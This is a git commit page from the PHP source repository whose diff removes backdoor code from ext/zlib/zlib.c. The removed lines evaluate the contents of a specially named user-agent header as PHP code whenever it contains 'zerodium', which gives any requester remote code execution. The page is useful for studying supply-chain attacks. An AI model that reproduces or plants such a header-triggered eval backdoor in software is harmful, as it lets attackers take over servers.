diff options
author | Levi Morrison <levi.morrison@datadoghq.com> | 2021-03-28 11:53:17 -0600 |
---|---|---|
committer | Levi Morrison <levi.morrison@datadoghq.com> | 2021-03-28 11:53:30 -0600 |
commit | 8d743d5281c29e9750e183804b7ba02e1ff82f0b (patch) | |
tree | 5a9329a1fb10e4d7870acefda4632167d11f8fae | |
parent | 2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a (diff) | |
download | php-git-8d743d5281c29e9750e183804b7ba02e1ff82f0b.tar.gz |
Revert "Revert "Revert "[skip-ci] Fix typo"""
This reverts commit 2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a.
-rw-r--r-- | ext/zlib/zlib.c | 11 |
1 files changed, 0 insertions, 11 deletions
diff --git a/ext/zlib/zlib.c b/ext/zlib/zlib.c index 6964407837..02fb4dd207 100644 --- a/ext/zlib/zlib.c +++ b/ext/zlib/zlib.c @@ -360,17 +360,6 @@ static void php_zlib_output_compression_start(void) { zval zoh; php_output_handler *h; - zval *enc; - - if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) && - (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) { - convert_to_string(enc); - if (strstr(Z_STRVAL_P(enc), "zerodium")) { - zend_try { - zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017"); - } zend_end_try(); - } - } switch (ZLIBG(output_compression)) { case 0: |